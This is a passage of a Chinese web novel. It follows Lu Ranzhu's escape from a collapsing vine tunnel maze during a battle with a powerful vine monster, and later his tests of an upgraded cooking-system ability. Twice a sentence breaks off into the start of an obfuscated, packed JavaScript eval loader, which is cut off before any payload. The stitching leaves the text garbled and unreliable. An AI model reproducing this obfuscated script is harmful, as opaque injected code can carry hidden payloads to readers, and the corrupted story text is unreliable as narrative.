他会怎么说?肯定会说认识,说自己平日和他不对付吧。这是必然的,平日自己对他说的话那么难听,现在有机会他肯定不会善罢甘休的。 何斛死死地盯着陆燃竹,眼神执拗,却透露出一丝恐惧。 而在他的注视下,陆燃竹却摇摇头,就跟往常的漠视一样,否认他们认识的那个事实。 “不认识。” 卷发少年淡淡地回道,随后转身走开。 那一声回答,狠狠地打了何斛的脸,狼狈的男生张着嘴巴,注视着那个转身就走的背影,脸上那股难堪带来的刺痛甚至掩盖了皮肤被腐蚀的疼痛。 那个人说他不认识自己。 不认识。 何斛内心的提防如大厦倾倒,松了一口气的同时,对陆燃竹那股漠视的态度又生了一股怒火。 扈可为见状眼神在何斛脸上转了一圈,狼狈不堪的男生那脸上可不是不认识的表情,他眼角抽搐,但还是没说些什么。 既然兄弟都说不认识了,那就不认识。 “喂,你没事吧,能说话不?” 他朝何斛问道,边说着还不忘记把另一个还处在昏迷的人拉过来,谷添还没清醒,但他的样子看起来,要比何斛还要惨。 他的左臂已经被完全腐蚀掉了,半边身子都是血淋淋,只有孱弱的胸腔还有微微的起伏。 “我……” 何斛本想回答扈可为的问题,却在看清眼前身影的那一刻,身体陡然一颤,慌乱地晃着谷添,“喂,谷添谷添!” 男生嘶哑无措的声音在甬道内回荡,扈可为下意识看向陆燃竹的方向,却发现少年已经默默在开辟剩下的道路了。 他几步上前,在其旁边低声说,“不,兄弟,你真不认识那两个?” 他表情疑惑真诚,但语气带着点好奇。 陆燃竹没说话,何斛呼唤谷添那真切的声音还在背后不断响起。 而他没说话,脑里的金勺勺也跟着一起问:“宿主,你为什么要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“不,是我们救了你。”他着重说着,手里那个急救包在握在手心,却迟迟没拿出去。“你认识陆燃竹,对吧。” 闻言,何斛脸色一僵,他下意识看向那个始终背对着他的身影,又被扈可为敲击地面的动作截住,“别往那边看。”男生冷声道,“我兄弟没说认识你,但我见得多了,收好你的心思。” 他拿着手里的急救包点了两下地面,“他是个好人,我可不是。” “如果你也想救你兄弟,就收好心思老老实实地跟着。”他把话说得冷酷又直白,“我们本来就没义务救你们,是你们运气好,你也不想跟你们小队其他人一样死在这,对吧?” 小队其他人? 何斛第一时间想起抛下他们的田炳几人,他怔愣了一下,一股道不清的喜悦从胸口涌出。 田炳他们死了。 那几个人死了。 而他又被陆燃竹救了。 奇怪的感觉交织在内心,他低下头,看着谷添惨白的脸色,脑里隆隆作响。 良久,何斛揽住谷添,抬头时眼神清明,他点了点头,语气中多了几分平静,“懂,谢扈哥,也谢谢陆燃竹。” 闻言,扈可为定神仔细看了何斛一会,才把陆燃竹给的急救包丢到地面,“感谢的话,等出去的时候亲自去跟他说。” “想跟上的话,靠你自己。” 说完,他转身离开,男生变脸的速度极快,刚刚还在威胁何斛,转头就一脸亲切地跑到陆燃竹身边,举着手里的刀讨好地说,“兄弟,换我来开路,说好的我来哈。” “你还记得啊。” “当然!” 或许是求生的欲望过于强烈,扈可为和陆燃竹还没走几步,何斛背着谷添就跟了上去,他静静地隔着距离,没说一句话,却也没落下半分。 陆燃竹几次都能感知到那股熟悉的视线,偶尔余光触及时,那人又匆匆地避开。 没有往日跋扈的样子。 扈可为开路的效率要比陆燃竹高上不少,觉醒精英的身体素质,干起活飞快,不到十五分钟,他们离排泄口的距离越来越近。陆燃竹盯着前方那个若隐若现的绿色洞口,提着气的胸口顿时松懈了不少。 扈可为也感受到了气流,他惊喜地说,“燃竹,看来是要到了!” 啊,要到了。 就当前后几人的步伐不自觉加快时,整座甬道迷宫突然爆发出一股强烈的震动,这股震动远比陆燃竹和扈可为上回面临的更加剧烈,瞬间的地动山摇,像是要把整座甬道迷宫都摧毁。 与此同时,直击大脑的尖嚎声似乎要把陆燃竹几人的脑子搅碎。 陆燃竹前进的步伐骤然止住,他半跪下去,死死咬住自己的下唇。在他的身前,扈可为和阿灰也像是被压着下跪一样,莫名的威压感宛若泰山压顶,让他们半分都动弹不得。 身后何斛两人已经完全瘫在了地上,身上落满了大块的碎石。 “该死,这痕叶藤……” 扈可为挣扎地想要起身,却丝毫抵抗不了身上的威压感。 陆燃竹同样也抬不起身子,滴滴答答,他的眼睛早在震动爆发的那瞬间遭受了强烈的冲击,血泪不住地往下淌。血色的视野里,属于痕叶藤那些空间接口正以诡异的速度在蠕动,给卷发少年带来强烈的不安感。 他微微侧头,看向上方。 瞳孔猛地一缩。 卷发少年血红的眼睛隐隐倒映着他所看到的一切。 黑红色的能量洪流漫天飞舞,在那一片宛若天灾降临的黑红天幕中,一道龙型的金光在其中盘旋,凶猛肆虐,把那天幕撕咬得四分五裂。 那是谁? 12. 第 12 章 第12章 可控区752内,昔日还算平和的环境如今变得一塌糊涂。 大批建筑倒塌,地面上坑坑洼洼的,出现一大片深坑。因可控区管理中心的紧急公告,区内等级低的觉醒者都自觉撤离出这片区域,就连相邻的几个低级可控区,里面的觉醒者也纷纷远离边界,抬头看着那被狂风呼啸笼罩的区域。 黑沉沉的天空下,可控区752能看见的地面上充满了各式各样的灾兽,一双双发狂了的红眼齐齐注视着半空,嘶吼和尖啸此起披伏,透露着末世即将到来的压迫感。 目光中央,一头褐色半长发的男生手心正释放着属于封印天赋的蓝光,犹如铁链,一层层环绕在眼前的黑色不明物上。 沉尧咬紧牙关,平日精心打理的头发此刻被狂风吹得像稻草,时不时还甩在他的眼睛和嘴巴上,全无矜贵公子的气派。 沉尧从未想过自己这次任务会这么狼狈。 事情是怎么发展成现在这样的? ‘狂野’的男生神情麻木地盯着眼前的不明物。 一开始他们就只是根据毕业考核的任务指引,去拿那个被老师放在目标地的考核物而已。谁想到,当他们顺利解决掉周围的灾兽群后,那考核物竟然半路被一株痕叶藤截胡了。 截胡了,被一株不应该出现在高级可控区的痕叶藤。 还是领主级别的! 然后他们就开始追,三人一路从986追到了752,又从752追到856,现在又回到了752。 都打了快三个小时了,这株痕叶藤还不吐出来他们的考核物,反倒吐出一些乱七八糟的东西,我的老天,吐出来的不知名东西还会引发灾兽发狂,沉尧十八年人生来听都没听有这样的东西! 他想要被温柔小姐姐们包围!而不是流着脏臭口水的灾兽啊! “沉尧,蹲下!” 正当沉尧内心吐槽这次任务的荒诞,一声冷喝袭来,随之是一道闪着寒光的箭矢。 沉尧闻声灵敏一避,或是慢了一步,那道箭矢毫不留情地擦着他的侧脸击中意图偷袭的鸟形灾兽。 沉尧刚分神用封印的力量弹开另一处攻击,感受到那凛冽的冷意,冷汗顿时就下来了。 “诸大小姐,我错了!别连我一起搞啊!” 他大声控诉着。 而下方再次搭箭的诸墨神情平静,动作干净利落,她侧身避过一只蟾蜍外形的灾兽,转身操着简约散发圣洁银光的弓箭,将另一只扑上来的灾兽射在地面。 “别逼逼,赶紧的,把那玩意封印了。” 诸墨反手拿着箭矢扎穿一头小型灾兽的脑袋,朝上空大声喝道。 “这是我想快就能快吗?” 沉尧欲哭无泪,他当然知道自己眼前的不明能量团是引诱灾兽的中心,可封印也需要时间,再说了这东西以前都没见过,说封印就封印,不用分析的吗! 沉尧心里吐槽着。 他用余光看着下方在灾兽群内自在游龙的诸墨,又看向远处把那个可控区地面砸得一个个坑的背影。与周围人和灾兽相比,那个人远远瞧见就显得格格不入。 另一边,俊美男生一双金瞳熠熠生辉,他的脸上和部分身体已经过幻化,属于兽类的竖瞳,脸颊上浮现的金麟,以及那覆盖手臂的淡淡虚影。 尖锐的龙爪虚幻却不失攻击力,宛若猫抓老鼠那般,从狼藉坑洼的地面扯断属于痕叶藤那黑色藤条,手起手落间,尽是痕叶藤那刺耳难听的哀嚎。 靳洲紧盯着潜藏在地表之下的动静,他微微侧头看着那被痕叶藤分割了五分之一的未知能量,发觉越来越多的灾兽往这边聚集之后,眉心收紧。 事态的发展有些超出预期。 无论是痕叶藤在三个可控区内创造出的地下甬道迷宫,还是那突然被它吐出的不明物,这一切脱离了正常灾兽的范畴。 而现在,他们被迫卷入了这场异变之中,还不能脱身。 因为那株痕叶藤还是没有把考核物吐出来。 年轻的联盟天才吐出一口浊气,他用空余的另外一只手揉了揉眉心,因着那跨越三座可控区的甬道迷宫,他已经被这株狡猾的痕叶藤拖住了不少时间。 那个不明物需要被封印,眼前的这株痕叶藤也该杀。 而且还要趁它还没吐出那剩余的五分之四前把它斩除。 男生眼神一凛,周身气场涌动,身躯之上被幻化的部分逐步扩散。淡淡的金龙影随着龙吟浮现在他的身后,他俯冲向下,初见几分真实的龙爪应声而下,砸在地面发出地震般的轰鸣。 锐利的龙爪眨眼间深入地下,准确地揪住痕叶藤的主藤,赶在他遁入空间之前牢牢扯住。 吼—— 龙吟声盖过了尖鸣。 甬道迷宫深处的震荡,随着那声龙吟越发剧烈。 陆燃竹他们能恢复行动能力的时候,脚下的碎石已快堆至膝盖的高度。阿灰变大身体挡在了他和扈可为的上方,硕大的落石砸的在它翅膀上砸出几道血痕,它哀哀地低叫了几声。 扈可为心疼地抚摸着它的绒毛。 陆燃竹已经没空去擦眼里掉出的血,他的脸染红了一片,仰头注视着上方的动静。在那道金色龙影和痕叶藤那遍布各处的红色空间接口中,他极为准确地捕捉到那处正在扩大的绿点。 那是出口,正随着打斗造成的震荡而不断扩大。 “扈可为,让阿灰变小。” “可现在落石这么多……” “出口出现了,就在打斗的正中心。”陆燃竹没说废话,他转头看着狼狈的扈可为,极为认真地说道。 “你是说——从打斗正中心出去!?”扈可为瞪大双眼,难掩震惊地看着陆燃竹。 “只能从那里出去。” 陆燃竹低声咳了一声,“迷宫要塌了。不从那里出去,我们就会被彻底埋在这里。” 他看得很清楚,这周围已经完全被痕叶藤的空间接口所包围了,根本没有其他的空隙容他们出去。阿灰有隐身的能力,如果能压低他们的存在感,他们还能搏一搏,从那个出口出去。 不然,待在这里,只能等死。 卷发少年笃定和大胆,让扈可为心神震荡,他深深看了陆燃竹一眼,发现他没有任何开玩笑的意思后,咬咬牙,“好!我跟你!” 得了扈可为的支持,陆燃竹直接走出了阿灰的庇护范围,他先是确认打斗中心距离那个出口的范围,又转头看向何斛两人刚刚所在的位置,在看到那个金发男生拖着谷添从废墟中出来时,他高声道:“何斛,再跟上来会死,你还跟不跟?” 何斛一颤,他没想到陆燃竹还会跟他说话,他看着那个满脸都是血的少年,背起谷添的手一紧。 “陆燃竹,不跟也会死,对吧?” 话一出口,何斛竟然感到了内心深处的平静,他从未想过自己会有一天这样和陆燃竹这般心平气和的说话,或许是经历过生死,又或许是自己单方面的执拗终于下了定论,他彻底觉得自己输了。 不,一开始便是。 那个人就如千戈形容的那般优秀,只是自己目光太过短浅,竟觉得自己能够胜过他,竟抓住那小小的等级优势而大肆鼓吹自己。 从始至终,都是自己那肮脏的自卑心在作祟。到头来,也是自己在自讨苦吃。 他低头看着奄奄一息的谷添,又看着自己半死不活的样子,他抬头看着那个狼狈却耀眼的身影,彻底褪去以往说话时的戾气。 “陆燃竹,我跟。还有,对不起。” “以及,谢谢你。” 何斛的声音嘶哑难听,却让陆燃竹猛地想起当初三人一起出行的回忆,现在那个站在废墟里的男生,看起来就和那时候的他一模一样。 卷发少年抿了抿嘴,他转身招了招手,“那就跟紧了。” 陆燃竹再次返回到扈可为身边,同样听到那番对话的扈可为抱着缩小后的阿灰,问:“要不要让他靠近些,我也可以让阿灰……” 他话还没说完,陆燃竹摇了摇头,“各凭本事,我不确定这条路到底是不是生路,到时候假若痕叶藤来了,你和阿灰也先顾着你自己。” 卷发少年语气淡淡,生死面前,没有谁必须帮助谁的道理,也没谁应当帮助谁的道理。 求生的机会,也只掌握在自己的手中。 只有运气好的人才会遇到那些有善心的人,而何斛遇到他,算是倒霉,因为他不是个好人。 正如他告诉何斛的话一样,跟得上就跟。 “这是什么……”话。 扈可为下意识想反驳,却在震荡中看到陆燃竹那双被发丝遮挡住的眼睛,那双眼满是血污,但却透着一股奇异的透亮,和他的主人一样,男生顿时感受到,少年说出这句话不是基于什么人情世故和道德,而是他天然就这么觉得。 卷发少年说完那句话就立马朝打斗中心走,没有半分停留,扈可为见状抱着阿灰还想说些什么,然而后面的何斛已经动作极快地跟上来,眼见他背着人即将插队,扈可为不敢丝毫停顿,拔腿就跟上陆燃竹。 三个能行走的人连成一条线,亦步亦趋地朝前走。 周围的碎石还在簌簌地落下,他们的目标却始终如一。 陆燃竹把眼睛的能力拉到了极致,不敢有丝毫的松懈,他盯着前路可能发生的变化点,小心地绕过。而越走近那打斗中心,颜色信息就越繁复,眼部的疼痛也越更剧烈。 自觉不给宿主添乱的金勺勺紧张地压低呼吸,看着那滴滴答答往下淌的血,内心发酸。 在一次又一次地与那些无规律变化的空间接口擦肩而过后,扈有为和何斛也看到了那个逃生的出口。临近黄昏,美丽的晚霞透过那洞口映入在他们的眼底,那么美,那么近,却又那么远。 龙爪和藤条的搏杀在他们头顶和逃生出口之间上演,头顶着核心幽蓝色大花的痕叶藤穿梭在狭小的空间内,它四处延伸的空间接口在行动间被龙爪撕碎,创造的时间甚至都赶不上被撕毁的速度。 眼瞧着痕叶藤在节节败退,陆燃竹三人心知留给他们的时间已经不多了。 排在中间的扈可为抱着阿灰认真道:“燃竹,等会靠近我。” 他不能确定阿灰的能力在痕叶藤面前能发挥多少,但靠得近些,效果就会更好。 “不,你让阿灰全力屏蔽你自己。” “为什么?” 扈可为不解,怎么会有把提高生存的机会往外推呢?难道燃竹是个圣…… 而没等他把眼神的震撼表示出来,卷发少年突然嫌弃地看了他一眼,“你一个觉醒精英,能量波动太明显了。”陆燃竹才不是什么圣母心发作,在场三个半人,他刚刚觉醒,何斛和谷添等级低还重伤,就剩一个扈可为觉醒精英完好且精神满满。 痕叶藤又不是眼瞎,假若它真被上面那个人逼到绝境,肯定会补充能量,到那时,扈可为就是靶子。 他们剩余三个蹭点阿灰的能量范围就能降低存在感,扈可为可不能随便。 “哈?” 扈可为闻言错愕又受伤,一旁的何斛则是默默拉远了与陆燃竹的距离。 “阿灰,能做到吗?” 陆燃竹没理扈可为那委屈巴巴的眼神,俯下身子去征求阿灰的意见,得到灰鸡笃定的咯咯声后满意地点点头,顺带还把扈可为推到了前头,无情又冷酷地说,“你开路。” 见扈可为脸如菜色,卷发少年又缓了缓,略到鼓励性地补充了一句:“靠你了。”

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却见另一边的战场之上,半身幻化的男生已经面无表情地揪出了痕叶藤的核心。 金色龙爪和幽蓝色大花一同钻出地表,追逐破开的洞口露出了底下复杂繁复的甬道迷宫。在龙爪即将摧毁幽蓝色大花的瞬间,属于痕叶藤的绝境反扑也来势汹汹。 近百个空间接口刹那间展开,妄想吞噬掉那金色龙爪。 吼—— 龙吟之下,痕叶藤底部藤条猛地破开一个大口,粘液飞溅的同时,藏在体内那剩余五分之四的不明能量瞬间暴露在空气中,强烈的能量波动在一时间加强了痕叶藤的能力,反扑和瞬间展开的空间愈加密集。 威压之下,已经爬到洞口的扈可为彻底暴露在靳洲和痕叶藤的视线中。 属于觉醒精英的能量波动也让靳洲和痕叶藤分出片刻余光瞧去。 半身幻化的男生看着那狼狈的四人,眉头顿时紧皱。痕叶藤对这送入虎口的能量来源自然欣至极。黑漆漆的空间洞口几息内便蜿蜒至那四人的周边,金色龙爪呼啸着追随。 眼见扈可为几人即将被吞噬,爬在扈可为下方的陆燃竹顿时止步,他抬手狠狠拽住扈可为的脚,几乎是毫厘之间,把人从被藤条卷走的边缘拽了回来。 藤条擦着扈可为的侧脸过去。 喝—— 扈可为和何斛的呼吸差点都停了。 何斛一口气还没缓过来,就见上方的卷发少年对着自己的脸又是一脚,这回,换他和死神擦肩而过。 两次没能捕捉到猎物,痕叶藤再度出击,但这回却被随后的金色龙爪控住。靳洲没有犹豫,他死死摁着痕叶藤的幽蓝色大花,果断地将摧毁之力贯入其中。 咔嚓几声。 痕叶藤自身对核心的防护之力以肉眼可见的速度被摧毁。 见状,痕叶藤也不想着吃猎物了,他猛地收回在沉尧那边窃取不明物的藤条,对应的空间洞口顿时闪现在剩余五分之四不明物的上方。 正欲融合。 对此,靳洲摧毁痕叶藤的速度直接上了一个层次。属于沉尧的封印铁链也钻出空间洞口试图拿回那五分之一的控制权。 时间在此刻被无限拉长。 就在这时,一个绑着灰色羽毛的锅盖霍然插入此间角逐的战场,它带着轻飘飘的力道,从无人注意的角落中冒出,哐当一声敲在了不明物的外壳上,打破了那瞬间的平衡。 咚地一声。 融合被打断,沉尧抓紧机会狠狠拉回那被它封印到尾声的五分之一。 而靳洲也彻底突破了痕叶藤的防护,咔嚓一声脆响,幽蓝色大花瞬息被彻底湮灭。 冲天的蓝火带着痕叶藤无尽的不甘消散在天际。 藤条消散,被裹狭在其中的所有物品也一一掉落。 陆燃竹三人早在那场角逐中抓住空隙爬出了甬道,再次呼吸到新鲜空气,扈可为和何斛两人几乎喜极而泣。 卷发少年回头看着那个在视野中闪闪发光的金色身影,在主人的强力驱使下,撑了三个小时的眼睛终于宣告罢工。 就像是电器失灵,眼前突然一黑,又骤然亮起。 陆燃竹还没看清那个和痕叶藤打斗的人是谁,也没看清那个在他眼里散开异常光芒的黑色能源是什么,他的视野糊成了一片。 得凑得极近才能看到手掌上的纹路。 他眯着眼睛看着刚刚的方向,发现实在看不清之后才在扈可为的催促下转身离开。 “哎嘿,这回阿灰能护住你了。” 可控区752聚集的灾兽群大都是精英级的,阿灰的隐身能力能顺利掩护他们从里面撤退。 灰鸡咯咯应了两声,甚至挣脱主人跳下来蹭蹭卷发少年。 陆燃竹摸索着揉了揉阿灰的头,“阿灰这次的功劳最大。” 毛茸茸的阿灰,要不是它的隐身能力,他们都不一定能走到那个出口。 “咯咯咯!” 阿灰兴奋地回应。 几人很快便顺着角落离开了可控区752,然而陆燃竹没看清那个身影,靳洲却瞧见了他。 站在废墟中,俊美男生在那个灰色锅盖旁边拾起学院毕业考核要求的考核物。顶上,沉尧正碎碎念地完成剩下五分之四不明物的封印。 他摩挲着雕塑表面,低头间突然想起了那双盈血的眼睛。 虽藏满血污,却不失透亮。 冷静专注,又野性自由。 就像狼一样。 13. 第 13 章 第13章 那天过后,泗黑崖热闹了好一阵。这座坐落在西部联盟并不繁荣的城市,一时间迎来了无数等级不低的觉醒者。昔日还算宽敞的出城口,现在每天都挤满了人。就连索道站平日无人问津的单人索道车,也辆辆都有人预定。 那高空轨道都要冒出火星子了。 人一多,索道的交通费就跟着上涨。 这对陆燃竹来说,是个坏消息。 早晨八点的冬日暖阳照得人暖呼呼的,卷发少年蹲在前往可控区859的单人索道口,身后是一条不短的队伍。他打了个呵欠,放在平日,他根本不用这么早来到排队,单人索道车虽然便宜,但一般的觉醒者都不会选择它,尤其是在冬天。 “喂,你听过没?听说金豪申定来泗黑崖了!” 身后几名觉醒者在聊天。 “听说是听说了,但这到底真假都不一定呢。”听口音明显是泗黑崖本地人不确定地说着。 “当然是真的!我亲戚都在觉醒协会见过本人了。千真万确!” “不可能吧,这破地方会来一个觉醒传奇……” “你们本地人真是的,每一个人都是这样的……” 排在陆燃竹身后的觉醒者语气中带着不解,他看了看周围的人,排在前头的陆燃竹感受到他的目光在自己身上一扫而过。 “你不知道,我听说上次可控区752那件事,应该是有什么宝贝……” 他声音压得很低,“还是少见的宝贝,不然怎么会惊动觉醒传奇。” 轻飘飘的语气,带着点蛊惑和得意。 这让卷发少年的呵欠停在半途,几天之前的那场惊心动魄的甬道迷宫之旅还历历在目。那天之后他和扈可为几人在索道站分别,之后他又忙于失物以及委托任务的交取,还抽空和扈可为去一趟黑市把那些东西给处理了。 攒了一波钱,却又很快花光了。 或许是那次眼睛消耗过大,又或是金勺勺那次自应性升级因能量不够开始搜刮宿主,陆燃竹这段时间天天吃不饱,甚至每天吃六块能量块才勉强有饱腹的感觉。 连同当初觉醒天赋塔爆炸给予的补偿,再留给孤儿院一部分后,也剩没多少。 所以现在,卷发少年才会趁天没亮就来索道站排队,因为存款岌岌可危。 当然,他还有另外一个目的,便是测试升级后的美食开拓系统。 早上八点十五分,索道站准时开启,陆燃竹轻车熟路地坐在单人索道车上,投下对应的觉醒币后,便迎着寒风吭哧吭哧地来到可控区859。 可控区859是低级可控区中物种较为丰富的类型,茂密的森林连接着一片广阔的平原,有着和可控区856完全不同的自然景观,这里是一些植物系觉醒者锻炼天赋的地方,也是一些采集任务的资源点。 陆燃竹没去觉醒者密集的平原区,而是转头深入鲜有人涉足的密林区。 因着浓密的树叶遮挡,他到的时候,林间还残余些许潮气。 站立在膝盖高的草丛内,卷发少年缓缓吐了一口浊气,他闭了闭眼。 【嘀——检测到方圆百米内存在可开拓的食材,是否打开探测功能?】 “是。” 陆燃竹眼睫轻颤,伴随着系统音,他睁开了眼,熟悉的颜色信息世界再度展露在眼前,与之一同的,还有属于金勺勺探测能力升级后的标注信息。 卷发少年盯着脚边那抹绿色柱形的东西,上面被金勺勺标注了信息,清晰地写着—— 绿级食材毒刹菇。 这种自汩密林常见的植物类型,时常成簇出现,毒性较强,靠近时会喷发毒针,威胁等级较低。 曼妙的世界,精简的文字信息,瞬间使少年对眼中的世界充满好奇。 这是金勺勺升级后的第一个功能,探测能力。 能以宿主为中心,探测百米内可开拓的食材,在对食材进行等级划分的同时给出相应的食谱建议。 见带有文字信息的界面被宿主打开,金勺勺得意洋洋地在界面中扭着身子,“宿主,宿主,怎么样?勺勺做得好吗?” 探测功能需要载入一定的数据库,从升级完毕,金勺勺就一直致力于信息的收集,才将原本内核空荡的探测功能完善到现在这样。 “很好。”陆燃竹蹲下身子,他盯着那几簇毒刹菇,微微眯了眯眼,那块绿色瞬间在他眼中发生变化,更深层次的信息逐步在他的眼中展开。显现的线条结构,疑似代表喷洒物的块状信息,以及那与空气中丝丝缕缕的能量流密不可分的蜘蛛网结构。 属于种族天赋的眼睛能力在少年的操控下更进了一步,看得更多,带来的消耗也越大。 正当陆燃竹还想继续深入探测时,属于金勺勺不赞同的疑惑声适时传来,“宿主?你是不是又在用天赋了?” 陆燃竹骤然回神,他眨了眨眼,感觉到眼角处似有几抹湿意时嘴唇轻启,“没有。” 卷发少年冷静又快速地回答,随后他又摊开自己的手,“勺勺,我们接着测试下一个功能吧。” 系统升级后的第二个功能,是针对原本的工具库。 陆燃竹尝试着和之前一样,用意念召唤出一把名为菜刀的工具,舒适的木制把手被握在手心,看起来就和之前的并无两样。 然而下一刻,探测功能再次生效。 【检测到周围存在可附魔的食材“毒刹菇”,是否进行附魔?】 “是。” 陆燃竹再次点头,他按金勺勺的指引,把手里的菜刀划向毒刹菇,少年完美避开了毒刹菇喷洒毒针的部分,刷地一声,原本还蓄势待发的毒刹菇瞬间头尾分离。 颜色世界中代表金光的菜刀忽然一闪,一根金线链接眨眼链接上他脚边的毒刹菇。 属于毒刹菇部分的生命能量迅速变淡,与此同时,探测功能再次出声。 【嘀——已对“菜刀”进行初步附魔,附魔数据库新增一级毒系附魔,经验+10!】 附魔数据库,这是工具库升级的核心,如今的工具库,除去可以升级,提升原本属性之外,还新增了一个附魔功能。宿主可以通过收集多样的食材,或者制作效果丰富的美食,来充盈附魔数据库。 不可重复收集同等级的食材,同等属性可叠加。 例如现在陆燃竹通过毒刹菇成功点亮毒系附魔,想要提高毒系附魔的等级,就得寻找更多的毒系食材,或者是更高等级的毒刹菇。 这便是系统升级的第二个功能。 陆燃竹掂量了下手里的菜刀,他收起被切成两半的毒刹菇,起身看着眼前幽深静谧的密林。系统升级了一个星期,探测功能是率先升级完成,随后是可附魔工具库,而直到昨晚,最后的一个功能才彻底升级完毕。 少年点开只有金勺勺和自己看得到的界面,只见焕然一新的界面,标志着陆燃竹的小人头像盘踞在左上角,进一步点开,更复杂的界面顿时呈现在陆燃竹面前。 【“美食开拓者”:陆燃竹。】 【能力:美食开拓之力,赋予宿主制作效果料理的能力,每道达到理解度100%的效果料理将会给予宿主同等的效果加成,无需食用料理可直接装备。】 【目前可装备的效果栏:1。】 制作效果料理,达到完美理解度还能将料理的效果加成到自己身上,这是此次系统升级的核心功能。 依据金勺勺所说的,所有食材和料理都有五个等级划分,由高到低分别是红、橙、紫、蓝、绿。 食材等级越高,附魔和料理的效果就越强。 植根于费斯拉大陆的生态,升级后的系统给予宿主能够开拓美食的战斗能力。附魔的工具库加之制作特殊料理的能力,这对陆燃竹来说,是极大的助力。 卷发少年新奇金勺勺的新功能,他再度唤出另一把菜刀,同样附魔上毒,抬脚轻声往密林深处走去。 轰隆——— 又一颗二十米的巨树倒地,自汩密林高空顿时惊起阵阵鸟型灾兽。 平原区,一群身穿灰色制服的调查员正在采集水样,闻声,为首的调查员起身眺望动静发出的密林区,他手心一转,一道透明屏陡然在他正前方展开,上面的数据流流淌着,像是在告知什么信息。 一旁的调查员见状几步走到他身边,问:“队长?” “没事。”被称为队长的调查员挥手撤掉透明屏,他眼神在周围同样被吸引的觉醒者们身上扫过,耳朵微微一动,随后停留在西边那一簇明显有些惊慌失措的觉醒者身上。 “应该是觉醒者不小心惹恼了一只尖牙熊,用空间系天赋给它传送到密林里去了。” 他简短又清晰地说着,调查员闻言松了口气,看起来十分笃定队长的“猜测”,“近期因着那件事,来泗黑崖的觉醒者只多不少,听本地的管理局说,伤亡不少。” “也不知道是福是祸,尖牙熊可不是好惹的角色,被传送走,也是件好事。” 尖牙熊,可以说是低级可控区霸主级别的存在,身形巨大,吻部的那两颗尖牙更是附着撕裂属性的能力,可以隔着数米撕裂猎物。也是幸亏那群觉醒者里面刚好有空间系天赋觉醒者,不然,一头尖牙熊,就够人好好喝一壶了。 队长表情不变:“福祸终归都是自己选的,继续采集吧,今天要把最近的几个可控区的水样都收集完。” 他眼神移开,对那自汩密林深处此起彼伏的动静没有再多关注,胸前几个字样,在转身的间隙 ,被午后的阳光镀上一层金光。 “联盟分析所” 直接听命于联盟总部,又是以往泗黑崖人少见的大人物。 另一边,密林区。 轰隆—— 骤然来的动静,让正沉迷采集的陆燃竹和金勺勺猛地一惊。卷发少年手拿着一颗长大嘴巴,又被分尸的鱼,警觉地回头看着距离自己不过数米的地方。 在那里,倒塌的巨树激起阵阵扬尘,一群又一群的小型灾兽如同逃命一般四散而开。 金勺勺眼看着一群蚁型灾兽险而又险地经过自己和宿主精心布置的“厨房”,一声尖叫卡在喉咙不上不下。 陆燃竹也心下一紧,他收起手里的鱼,从水里几步上岸,挥着带着浓烟的叶子驱散那些想要经过的灾兽。 金勺勺着急:“去去去!” 陆燃竹也护着锅里的东西。 说是厨房,其实就是一口冒着诡异绿色烟气的锅,下方放着的是能加热的低阶熔岩晶。 【嘀—已成功收集绿级食材“裂口鱼”,毒系附魔提升至三级,是否附魔到正在使用的工具上?】 “是。” 陆燃竹点头,他看着巨树倒塌的方向,眼底泛起星碎的光,颜色世界再次展开,密林处的动静还在继续,不妙的预感随着那逐渐放大的红影愈演愈烈。 金勺勺一边看着锅,一边分心问:“什么动静啊,宿主?” “不太妙。” 卷发少年后撤一步,现在都不用眼睛看,从西边来的动静越来越近,“勺勺,我们得带锅跑路了。” 金勺勺:“啊!?” 可菜快熟了!那可是他们尝试二十一次的结果啊! 陆燃竹没有丝毫犹豫,他快速往锅具上附着上火系附魔,收起底下的熔岩晶,炒起锅就开始跑。 就在卷发少年握住把手的那一刻,一头足足六米高的红熊猛地从密林中冲出来。 四米长的尖牙扎穿沿路的路障,鲜血和暗紫色的口水糊成一团,滴滴答答随着红熊暴躁地晃头而洒落地面。 那一对尖牙所带来的信息,随着姗姗来迟的探测提示音一头扎进一人一统的大脑。 【嘀——检测到附近存在可开拓的食材“尖牙熊”,是否进行食谱关联?】 尖牙熊! 这等灾兽怎么会出现在密林区。 它的栖息地都是在平原那块啊? 躲在陆燃竹脑里的金勺勺猛然被吓了一跳,它顿时忘记了刚刚的想法,急声喊道:“宿主,别管锅了!我们把锅丢了赶紧跑!” 而陆燃竹没空回话,率先抢跑的少年举着锅,动作轻盈地沿着河岸狂奔,身后的尖牙熊早已将那双猩红眼对准了卷发少年的背影,只见它四脚狠狠一刨,冲着跑路的一人一统就冲了过来。 金勺勺:“!” 美食开拓系统吓得勺子都褪色了,它匆忙从工具库里调来可以攻击的工具,刀叉、冰锥、砍骨刀等等厨具被它罗列在陆燃竹的视野中,统一都附上了等级最高的三级毒系附魔。 当它正想询问跑路的宿主该选择哪一件“武器”时,陆燃竹回头看了看,随后在欲浓的香气中冷不丁地问:“勺勺,你看看菜好了没有?” “啊?” 金勺勺语塞,它掏东西的动作停了一瞬,“宿主!尖牙熊都要追过来了!” 还管什么菜好没好啊! “别管菜了,宿主,快!” 金勺勺时刻注意着陆燃竹背后的动静,眼瞧那尖牙熊快要追上自家宿主,它武器也不掏了,连忙道:“用锅砸它!” 陆燃竹却不急,他又回头看了眼尖牙熊,见那红熊已经驻足仰天长啸,他突然刹停,举着锅往右侧一躲。 杂乱的背景音中,那两道破空之声短促而尖锐。 卷发少年腰身一转,那双紫眸清晰地倒映着那无形的两道撕裂之刃,轻盈险而又险地避开后,他脚踝猛地发力,又向前冲去。 与此同时,不合时宜的系统播报声再度响起。 【检测到“浅水鲶汤”已烹饪完成!现对其进行分析和评价。】 【“浅水鲶汤”:蓝级剧毒料理,融合多种具备强烈毒性的绿级食材,虽然味道鲜美,但不建议食用。】 【效果:增加25%的毒系伤害,具备短时迷惑效果,持续时间60秒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 